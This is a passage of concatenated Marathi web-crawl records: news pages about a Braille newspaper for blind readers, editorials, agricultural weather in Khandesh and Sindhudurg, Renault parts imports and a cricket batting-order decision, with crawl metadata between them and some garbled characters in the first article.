प्रेक्षक आणि समिक्षकांकडूनही कौतुकाची पोचपाकती मिळाली. नाटकाचे प्रयोग होत होते. प्रेक्षकांची पसंती मिळत होते. त्यावेळी स्वागत यांच्या लक्षात आलं की, हे सर्व कलाकार खूप काही काचत असत परंतु दर्जेदार साहित्य त्यांच्यापर्यंत पोहोचण्यास अडसर येतोय. कारण त्यांच्यासाठी ब्रेल लिपीतील साहित्यच उपलब्ध नाही. ब्रेल लिपीद्वारे हे साहित्य या दृष्टीहीनांपर्यंत पोहोचवण्याचं स्वागत यांनी ठरवलं. याची सुरुवात झाली ती स्पर्शगंध या दिवाळी अंकाद्वारे.\nब्रेल पिलीतील पहिला दिवाळी अंक स्पर्शगंध स्वागत यांनी सुरू केला. याला इतका प्रतिसाद लाभला की काही दिवसातच स्पर्शगंध च्या तीन किशेष आकृत्ती संपादित कराव्या लागल्या. यात अनेक मराठीतील अलेक मान्यवर लेखकांचं साहित्य उपलब्ध करण्यात आलं. त्यानंतर स्वागत यांनी लेखिका सुनिता देशपांडेंच्या यांच्या मदतीने पु.लं च्या काही कथासुद्धा संपादित केल्या. याबरोबरच पु.लं.च्या तीन पैशाचा तमाशा या नाटकाचं ४४ दृष्टिहीन कलाकारांना घेऊन दिग्दर्शनही केलं.\nस्वागत यांना इथपर्यंतच थांबायचं नक्हतं तर अंधांसाठी काहीतरी ठोस आणि भरीक कार्य करायचं होतं. याचवेळी त्यांनी\nब्रेलमध्ये कृत्तपत्र सुरु करायचं ठरकलं. हिंदुस्थानातील अशा प्रकारचं हे पाहिलं कृत्तपत्र आहे. यासाठी त्यांनी स्वतŠ भांडवल उभं केलं. नधी गोळा करणं, ब्रेल छपाई मशिन्स आणणं अशा अनेक पातळ्यांवर सरशी करत त्यांच्या स्पर्शज्ञान या पहिल्या ब्रेल लिपीतील वृत्तपत्राच प्रत फेब्रुकारी २००८ मध्ये प्रसिद्ध झाली. हे कृत्तपत्र, दृष्टीहिनांना त्यांच्या आसपास घडणाऱया ताज्या घटनांचा कृत्ताद्वारे स्पर्श करकून आकलन करण्याकर भर देते. त्याचसोबत कन्यजीक संकर्धन, पर्याकरण , राजकीय हालचाली, प्रेरक आत्मचरित्रं, सामाजिक मुद्दे , आंतरराष्ट्रीय घडामोडी , शैक्षणिक आणि भकितक्यातील संधी अशा अनेक गोष्टी या काचकांना या कृत्तपत्रात मिळतात.\nस्पर्शज्ञान हे भारतातील पहिले नोंदणीकृत मराठी ब्रेल नियतकालिक. भारतासारख्या खंडप्राय देशात ब्रेलमधील नियतकालिक सुरू क्हायला देश स्कतंत्र झाल्यानंतरही साठ कर्षे उलटाकी लागली. पण स्वागत थोरातांसारख्या व्यक्तींच्या कार्याने डोळस माणसांच्या दृष्टीत आणि संकेदनशीलतेत नेत्रहीन माणसांच्या जगण्याबद्दलची सजगता आली. आजमितीला ’स्पर्शज्ञान’कडे १५ भारतीय भाषांसह जगातील १३० भाषांचं ब्रेल रुपांतर करण्याची सोय आहे. याचंच पुढचं पाऊल म्हणजे देशभरातील अंधांसाठी ब्रेल लिपीतील ‘रिलायन्स दृष्टी’ हे रिलायन्स फाउंडेशनचे पाक्षिक. मार्च २०१२ पासून स्वागत या हिंदी ब्रेल पाक्षिकाचे मुख्य संपादक म्हणून काम पाहत आहेत.\nस्वागत यांच्या कामाची दखल त्यांना मिळालेल्या अनेक पुरस्कारांमधून आपल्याला पाहायला मिळतेच. प्रकाशवाटा उजळवणारं त्यांचं काम खचितच मोठं आहे. अंधांसाठीचं आपलं काम व स्पर्शज्ञान अधिकाधिक लोकांपर्यंत पोहोचकण्याचा त्यांचा प्रयत्न आहे.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलसातवी राज्यस्तरीय सागरी जलतरण स्पर्धा आज मालवणात\nसंबंधित बातम्या या पब्लिशरकडून आणखी\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00179.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/agralekh/page/28", "date_download": "2018-09-25T17:34:21Z", "digest": "sha1:INXLPB6TBNOSWWWBXOTBXCY5275DXC55", "length": 9239, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "संपादकिय / अग्रलेख Archives - Page 28 of 264 - तरुण भारत | तरुण भारत", "raw_content": "\nटोल, थर्डपार्टी इन्शुरन्स, रोज बदलणारे डिझेलचे भाव यामुळे आधीच हाताबाहेर गेलेला वाहतूक व्यवसाय आणि त्यातच त्याला आयकराच्या जाळय़ात गुंतवले जात असल्याने देशभरातील मालवातूकदारांनी शुक्रवारपासून संप सुरू केला आहे. बरोब्बर महिन्यापूर्वी ऑल इंडिया मोटार ट्रान्सपोर्ट काँग्रेसने केंद्र सरकारला नोटीस दिली होती. मात्र चर्चाच न झाल्याने अखेर संप सुरू झाला. अर्थात या दिवसापासूनच देशातील सर्व मालवाहतुकीच्या गाडय़ांची चाके थांबतील असे नाही. ...Full Article\nजबाबदारी प्रशासनाची; ठपका पर्यटकांवर\nपावसाळा सुरू झाला की, मुंबईकरांची पावले आपसूकच लगतच्या पालघर, रायगड, ठाणे जिह्यातील धबधब्यांकडे वळतात. उन्हाने त्रासलेल्या आणि रोजच्या रहाटगाडय़ातून ही वेळ मुंबईतील चाकरमान्यांना आनंदात न्हाते. मागील काही वर्षांपासून पावसाळी ...Full Article\nगडकरींचे एक लाख कोटी महाराष्ट्रात झिरपतील का\nमहाराष्ट्रातला कातळ पाणी साठवून ठेवत नाही तशीच प्रशासकीय यंत्रणाही कातळ झालेली असताना नितीन गडकरींनी महाराष्ट्रातील सिंचन योजनांसाठी 1 लाख 15 हजार कोटीची बरसात केली. पण, गिरीश महाजन, चंद्रकांतदादांचे खाते ...Full Article\nट्रम्प यांनी केला अमेरिकेचा विश्वासघात\nउद्योग व व्यवसाय जसे विश्वासार्हतेवर चालतात तसेच विश्वासघात हे देखील त्यांचे अभिन्न अंग असते. राजकारणासही थोडय़ा अधिक प्रमाणात हाच नियम लागू होतो. अमेरिकेचे अध्यक्ष डोनाल्ड ट्रम्प हे यशस्वी उद्योजक ...Full Article\nकेरळमधील शबरीमला मंदिरात महिलांना प्रवेश मिळण्यासंबंधीचा वाद सध्या सर्वोच्च न्यायालयात सुरू आहे. गेली कित्येक वर्षे हे प्रकरण न्यायालयात प्रलंबित असून त्यासंदर्भात बरेच उलटसुलट युक्तीवाद केले जात आहेत. स्त्री-पुरुष समानतेच्या ...Full Article\nसुभाषित – एते सत्पुरुषाः परार्थघटकाः स्वार्थं परित्यज्य ये सामान्यास्तु परार्थमुद्यमभृः स्वार्थाविरोधेन ये ते़मी मानुषराक्षसा परहितं स्वार्थाय निघ्नंति ये ये तु घ्नंति निरर्थकं परहितं ते के न जानीमहे \nमुरली नोहे केवळ बाण\nश्रीकृष्णाच्या मुरलीचा मंजुळ ध्वनी ऐकून त्या गोपिकांची मानसिक अवस्था कशी झाली याचे वर्णन एकनाथ महाराज करतात ते असे- तुझ्या मुरलीचा ध्वनी अकल्पित पडला कानी विव्हल झाले अंत:करणी ...Full Article\nअश्रूनंतरचे रडगाणे आणि खासदारांना महागडे आयफोन\nगेल्या आठवडय़ात मुख्यमंत्री एच. डी. कुमारस्वामी यांचा पक्षातर्फे सत्कार झाला. सत्कार समारंभात कुमारस्वामी यांना अश्रू अनावर झाले. आपल्या भाषणादरम्यान ते थांबून थांबून अश्रू ढाळत होते. देशभरातील बहुतेक खासगी वाहिन्यांनी ...Full Article\nपाकिस्तानात यावेळची निवडणूक सर्वाधिक हिंसक\nपाकिस्तानच्या इतिहासात या वेळची निवडणूक सर्वाधिक हिंसक ठरणार आहे. 25 जुलैला पाकिस्तानात निवडणूक आहे आणि आतापर्यंत निवडणूक प्रचारात 150 हून अधिक जण मारले गेले आहेत. त्यात दोन मोठे नेते, ...Full Article\nपंतप्रधान नरेंद्र मोदी यांच्या नेतृत्वाखालील राष्ट्रीय लोकशाही आघाडी (एनडीए) सरकार विरोधात प्रथमच अविश्वास ठराव दाखल झाला आहे. मोदी सरकार सत्तेवर आल्यास सव्वाचार वर्षे लोटली. सरकार विरोधात अविश्वास ठराव आणण्यासाठी ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00179.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-khadesh-faces-low-temperature-more-humidity-9205", "date_download": "2018-09-25T17:46:19Z", "digest": "sha1:WKX3VYQY3UZHR7MR6UHZ5TS6CUELPOHG", "length": 15030, "nlines": 148, "source_domain": "www.agrowon.com", "title": "agriculture news in marathi, Khadesh faces low temperature but more humidity | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nखानदेशात तापमान कमी, पण उकाडा वाढला\nखानदेशात तापमान कमी, पण उकाडा वाढला\nमंगळवार, 12 जून 2018\nजळगाव ः खानदेशात अजूनही दमदार पाऊस झालेला नाही. त्यामुळे पेरणी सुरू झालेली नसून, शेतकऱ्यांना दमदार पावसाची प्रतीक्षा आहे. सध्या ढगाळ वातावरणामुळे तापमानात घट झाली आहे. परंतु उकाडा मात्र कायम असल्याचे चित्र आहे.\nजळगाव ः खानदेशात अजूनही दमदार पाऊस झालेला नाही. त्यामुळे पेरणी सुरू झालेली नसून, शेतकऱ्यांना दमदार पावसाची प्रतीक्षा आहे. सध्या ढगाळ वातावरणामुळे तापमानात घट झाली आहे. परंतु उकाडा मात्र कायम असल्याचे चित्र आहे.\nधुळे, नंदुरबार, जळगाव जिल्ह्यांत मागील दोन-तीन दिवसांत कुठेही दमदार पाऊस झालेला नाही. धुळे जिल्ह्यात कापडणे, जापी भागात ३ ते ४ दरम्यान जोरदार पाऊस आला. त्यात नदी, नाल्यांना पूर आला. शेतातील माती वाहून गेली. शहादा, शिरपूर भागांतही दमदार पाऊस झाला. नंतर शेतकरी बंधारे बंदिस्ती व इतर कामांमध्ये व्यस्त होते. ४ व ५ जूनदरम्यान जळगाव, पाचोरा, चोपडा, धरणगाव, एरंडोल, चाळीसगाव भागांत पाऊस झाला. वादळामुळे वृक्ष उन्मळल्याने नुकसान झाले.\nअनेक भागांत मशागत पूर्णत्वास आली आहे. मात्र, मागील दोन-तीन दिवसांत पाऊस आलेला नसल्याने शेतकऱ्यांनी पेरणी करणे टाळले आहे. यातच कृषी विभागाने पेरणी करण्यासाठी किमान ५० मिलीमीटर पाऊस हवा. त्याशिवाय सोयाबीन, कापसाची पेरणी किंवा लागवड करू नका, असे आवाहन केले आहे. त्यामुळे पेरणी झालेली नाही.\nसध्या रोज सकाळपासून सुसाट वारा सुटतो. वातावरण ढगाळ असते. रात्रीही वेगवान वारे वाहतात. त्यामुळे तापमान कमी झाले आहे. काळ्या कसदार जमिनीतही ओलावा कमी झाला आहे. त्यामुळे पूर्वहंगामी कापूस, केळी व इतर भाजीपाला पिकांमध्ये शेतकरी सिंचन करीत आहेत. भारनियमन कायम असल्याने रात्रीच्या वेळेसही वीज असताना शेतकऱ्यांना शेतात सिंचनासंबंधी जावे लागत आहे. कमाल तापमान ४० खालीच आहे. सध्या केवळ पूर्वहंगामी कापूस लागवड झाली आहे, असे शेतकऱ्यांचे म्हणणे आहे.\nखानदेश पाऊस जळगाव धुळे dhule चाळीसगाव कृषी विभाग agriculture department कापूस सिंचन भारनियमन वीज कमाल तापमान\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिरजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात...\nकोल्हापुरात फळांची आवक मंदावली,...कोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या...\nकळमणा बाजारात सोयाबीनच्या दरात वाढनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा...\nनाशिकला टोमॅटोची आवक वाढली; कांदा,...नाशिक : नाशिक बाजार समितीत गतसप्ताहात टोमॅटोची...\nकपाशीतील किडींचे एकात्मिक नियंत्रणसध्या कपाशीचे पीक पाते, फुले व बोंड लागण्याच्या...\nसांगली जिल्ह्यात सेंद्रिय शेतमालाला हवी...सांगली जिल्ह्यामध्ये सेंद्रिय शेतीमाल विक्री...\nनाशिक जिल्ह्यात सेंद्रिय शेतीची वाटचाल...नाशिक जिल्ह्यात सेंद्रिय शेतीचे तीन वर्षांपूर्वी...\nनाशिक, निफाड कारखाना भाड्याने देण्याचा...नाशिक : कर्जबाजारी व आर्थिक डबघाईमुळे गेल्या काही...\nअकोला, बुलडाण्यात पीक कर्जवाटप ३०...अकोला ः शेतकऱ्यांना खरीप हंगामासाठी पीक...\nगोंदियातील कृषी सेवा केंद्रे लावणार...गोंदिया ः जमिनीची गरज ओळखूनच खताची मात्रा...\nसाताऱ्यात पावसाअभावी पिके करपू लागलीसातारा : जिल्ह्यात सुमारे एक महिन्यापासून...\nनगर जिल्ह्यात पावसाअभावी कांदा लागवड...नगर ः जिल्हाभरात पावसाअभावी कांदालागवड...\nवाशीममध्ये रब्बीत हरभऱ्याचे क्षेत्र...वाशीम ः या हंगामात जिल्ह्यात चांगला पाऊस...\nखरेदी केंद्र सुरू करण्याच्या मागणीसाठी...सातारा : शेतीमाल खरेदी केंद्रे त्वरित सुरू...\nसंघर्ष गोकुळ ‘मल्टिस्टेट’चाकोल्हापूर जिल्हा दूध संघ (गोकुळ) मल्टिस्टेट...\n'दारुमुळे दरवर्षी अडीच लाखापेक्षा जास्त...नवी दिल्ली- दारूमुळे दरवर्षी जवळपास अडीच...\nजालन्यात पाण्यात बुडून तिघांचा मृत्यूजालना : गणपती बाप्पांचे विसर्जन करताना जालना...\nशिखर, रोहितने पाकला धुतले; भारत अंतिम...दुबई : पाकिस्तानने उभारलेल्या 237 धावांचा सहजी...\nखानदेशात मध्यम पाऊस; नंदुरबारला हुलकावणीजळगाव : खानदेशात शुक्रवारी (ता.२१) मध्यरात्री व...\nपुणे जिल्ह्यात ढगाळ हवामानपुणे : जिल्ह्यात आठवड्याच्या सुरवातीला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00180.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-pre-monsoon-rain-sindhudurg-8928", "date_download": "2018-09-25T17:50:20Z", "digest": "sha1:B43WF55ND2IMNXDW7CVADM3S2APFESRC", "length": 13491, "nlines": 146, "source_domain": "www.agrowon.com", "title": "agriculture news in marathi, Pre-monsoon rain in Sindhudurg | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nसोमवार, 4 जून 2018\nकणकवली ः सिंधुदुर्ग जिल्ह्यात आज दुपारी माॅन्सूनपूर्व पावसाने हजेरी लावली. बहुतांशी गावांमध्ये पाऊस पोचला आहे. पहिल्या पावसात मुंबई-गोवा महामार्ग चौपदरीकरणाच्या सुरू असलेल्या कामामुळे माती रस्त्यावर आल्याने वाहनचालकांची मोठी गैरसोय झाली. दुपारी चार नंतर पाऊस थांबला. दरम्यान, गडगडाटासह पाऊस झाल्याने वीज आणि दूरध्वनी सेवा तीन तास ठप्प झाली होती.\nकणकवली ः सिंधुदुर्ग जिल्ह्यात आज दुपारी माॅन्सूनपूर्व पावसाने हजेरी लावली. बहुतांशी गावांमध्ये पाऊस पोचला आहे. पहिल्या पावसात मुंबई-गोवा महामार्ग चौपदरीकरणाच्या सुरू असलेल्या कामामुळे माती रस्त्यावर आल्याने वाहनचालकांची मोठी गैरसोय झाली. दुपारी चार नंतर पाऊस थांबला. दरम्यान, गडगडाटासह पाऊस झाल्याने वीज आणि दूरध्वनी सेवा तीन तास ठप्प झाली होती.\nजिल्ह्यात गेले चार दिवस तुरळक पाऊस सुरू आहे. आजच्या पावसाचा मोठा फटका मुंबई गोवा महामार्गावरील वाहनचालकांना बसला. कसाल ते ओरोस यादरम्यान चौपदरीकरणासाठीचे मातीचे ढीग थेट रस्त्यावर आले. त्यामुळे डांबरी रस्ताच गायब झाला होता. यात वाहने नेमकी कुठल्या बाजूने चालवावीत याचाही संभ्रम वाहनचालकांना झाला होता. अखेर संथगतीने वाहने हाकत वाहनचालकांनी यातून मार्ग काढला.\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिरजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात...\nकोल्हापुरात फळांची आवक मंदावली,...कोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या...\nकळमणा बाजारात सोयाबीनच्या दरात वाढनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा...\nनाशिकला टोमॅटोची आवक वाढली; कांदा,...नाशिक : नाशिक बाजार समितीत गतसप्ताहात टोमॅटोची...\nकपाशीतील किडींचे एकात्मिक नियंत्रणसध्या कपाशीचे पीक पाते, फुले व बोंड लागण्याच्या...\nसांगली जिल्ह्यात सेंद्रिय शेतमालाला हवी...सांगली जिल्ह्यामध्ये सेंद्रिय शेतीमाल विक्री...\nनाशिक जिल्ह्यात सेंद्रिय शेतीची वाटचाल...नाशिक जिल्ह्यात सेंद्रिय शेतीचे तीन वर्षांपूर्वी...\nनाशिक, निफाड कारखाना भाड्याने देण्याचा...नाशिक : कर्जबाजारी व आर्थिक डबघाईमुळे गेल्या काही...\nअकोला, बुलडाण्यात पीक कर्जवाटप ३०...अकोला ः शेतकऱ्यांना खरीप हंगामासाठी पीक...\nगोंदियातील कृषी सेवा केंद्रे लावणार...गोंदिया ः जमिनीची गरज ओळखूनच खताची मात्रा...\nसाताऱ्यात पावसाअभावी पिके करपू लागलीसातारा : जिल्ह्यात सुमारे एक महिन्यापासून...\nनगर जिल्ह्यात पावसाअभावी कांदा लागवड...नगर ः जिल्हाभरात पावसाअभावी कांदालागवड...\nवाशीममध्ये रब्बीत हरभऱ्याचे क्षेत्र...वाशीम ः या हंगामात जिल्ह्यात चांगला पाऊस...\nखरेदी केंद्र सुरू करण्याच्या मागणीसाठी...सातारा : शेतीमाल खरेदी केंद्रे त्वरित सुरू...\nसंघर्ष गोकुळ ‘मल्टिस्टेट’चाकोल्हापूर जिल्हा दूध संघ (गोकुळ) मल्टिस्टेट...\n'दारुमुळे दरवर्षी अडीच लाखापेक्षा जास्त...नवी दिल्ली- दारूमुळे दरवर्षी जवळपास अडीच...\nजालन्यात पाण्यात बुडून तिघांचा मृत्यूजालना : गणपती बाप्पांचे विसर्जन करताना जालना...\nशिखर, रोहितने पाकला धुतले; भारत अंतिम...दुबई : पाकिस्तानने उभारलेल्या 237 धावांचा सहजी...\nखानदेशात मध्यम पाऊस; नंदुरबारला हुलकावणीजळगाव : खानदेशात शुक्रवारी (ता.२१) मध्यरात्री व...\nपुणे जिल्ह्यात ढगाळ हवामानपुणे : जिल्ह्यात आठवड्याच्या सुरवातीला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00180.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/news/renault-spare-parts-2131071.html", "date_download": "2018-09-25T16:34:49Z", "digest": "sha1:MJRGWZRKIH5Q3DAXLTRS7W556JNNJ57E", "length": 5716, "nlines": 146, "source_domain": "divyamarathi.bhaskar.com", "title": "renault-spare-parts | रेनॉ मोटर्स सुट्या भागांची आयात वाढविणार", "raw_content": "\nदिव्य मराठी विशेष मधुरिमा\nमधुरिमा रसिक जोक्स हेल्थ-लाइफस्टाइल\nरेनॉ मोटर्स सुट्या भागांची आयात वाढविणार\nयुरोपची दुस-या क्रमांकाची कार निर्माता कंपनी रेनॉ मोटर्स भारतातून सुट्या भागांची आयात वाढविणार आहे.\nरेनॉ मोटर्स सुट्या भागांची आयात वाढविणार\nयुरोपची दुस-या क्रमांकाची कार निर्माता कंपनी रेनॉ मोटर्स भारतातून सुट्या भागांची आयात वाढविणार आहे. सुमारे 10 कोटी युरो म्हणजे आजच्या किंमतीनुसार सुमारे 600 कोटी रुपयांचे सुटे भाग आयात करण्याची कंपनीची योजना आहे. रेनॉ मोटर्सने सोमवारी फ्लुएंस या नव्या गाडीचे अनावरण केले. त्यावेळी कंपनीच्या अधिका-यांनी ही माहिती दिली.\nकंपनीने गेल्या वर्षी 3.5 कोटी युरो किंमतीचे सुटे भाग आयात केले होते. चालू वित्तिय वर्षात हा आकडा सुमारे 8 कोटी युरोच्या जवळपास राहील. तर 2012 मध्ये हा आकडा 10 कोटी युरोपर्यंत जाण्याची अपेक्षा आहे.\nबाईकमध्‍ये रोज पेट्रोल भरण्‍याची गरज पडणार नाही, आजच करा हे काम\nअॅडव्हॉन्स आणि लक्झरी फीचर्ससह लवकरच लॉन्च होईल Maruti ची लिमिटेड एडिशन कार, मिळेल 26 KMPL चे मायलेज\nलवकरच लाँच होणार आहेत या 4 दमदार कार, टाटापासून फोर्डपर्यतचे मॉडेल उपलब्ध, किंमतही असेल कमी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00180.warc.wet.gz", "language": "mr", "language_score": 0.72, "bucket": "all"} {"url": "https://mahasports.co.in/ct-2017-virat-kohli-reveals-reason-behind-promoting-pandya-ahead-of-dhoni/", "date_download": "2018-09-25T17:02:42Z", "digest": "sha1:OBCGW5FTSCQXRSBOO56A3EP6C4BTRI5K", "length": 8779, "nlines": 58, "source_domain": "mahasports.co.in", "title": "का दिली पंड्याला धोनीआधी फलंदाजीला संधी..?? -", "raw_content": "\nका दिली पंड्याला धोनीआधी फलंदाजीला संधी..\nका दिली पंड्याला धोनीआधी फलंदाजीला संधी..\nकाल झालेल्या भारत विरुद्ध पाकिस्तान सामन्यामध्ये भारताने १२४ धावांनी पाकिस्तानला मात दिली. पाकिस्तानने क्षेत्ररक्षण, गोलंदाजी आणि फलंदाजी या तिन्ही क्षेत्रात म्हणावी तशी कामगिरी न केल्यामुळे भारतने हा सामना सहज जिंकला. प्रथम फलंदाजी करताना भारताने पावसाच्या व्यत्ययामुळे कमी केलेल्या ४८ षटकांच्या डावात ३१९ धावा केल्या व डकवर्थ लुईसच्या नियमानुसार पाकिस्तानला ४८ षटकात ३२४ धावांचे आव्हान मिळाले.\nभारताच्या पहिल्या चारही फलंदाजांनी अर्धशतके ठोकली, ज्यात धवन, शर्मा, कोहली आणि युवराज यांचा समावेश होता. हा विक्रम भारताने तिसऱ्यांदा केला आहे, आणि तीनही वेळा युवराज या विक्रमाचा भाग होता. ४७ व्या शतकात जेव्हा युवराज हसन ला षटकार मारण्याच्या नादात पायचीत झाला तेव्हा सगळ्यांच्या नजरा पॅव्हिलियन कडे वळल्या, सर्वांची अपेक्षा होती की भारताचा माजी कर्णधार आणि जगातला बेस्टफिनिशर महेंद्रसिंग धोनी आता मैदानावर उतरेल पण असे झाले नाही. हार्दिक पंड्या मैदानावर उतरला. धोनीने पांड्याला संधी दिली असे सर्वांचे म्हणणे झाले आणि त्यानी त्याचे सोने केले. पंड्याने सहा चेंडूत वीस धावा ठोकल्या ज्यात शेवटच्या षटकातील पहिल्या ३ चेंडूत ३ षटकार लगावले. धोनीला मागे ठेऊन पांड्यला संधी दिली आणि तो चालला म्हणून ठीक पण जर चालला नसता तर \nया निर्णया बद्दल विचारले असता भारताचा कर्णधार विराट कोहली म्हणाला की, पंड्याने सराव सामन्यात सुरेख फटकेबाजी केली होती त्यामुळे त्याला संधी देणे गरजेचे होते. सराव सामन्यात आणि आधी बऱ्याच वेळी पंड्याने आपण अगदी पहिल्या चेंडूपासून षटकार चौकार मारू शकतो हे वेळोवेळी दाखवून दिले आहे म्हणून त्याला प्राधान्य देण्यात आले. पंड्याच्या संघातील निडवीबद्दल विचारले असता कोहली म्हणाला की पाकिस्तान फिरकी गोलंदाजाना चांगले खेळतात म्हणून अश्विनच्या जागी पांड्यला संधी दिली होती, तसेच पंड्या संघात अष्टपैलू 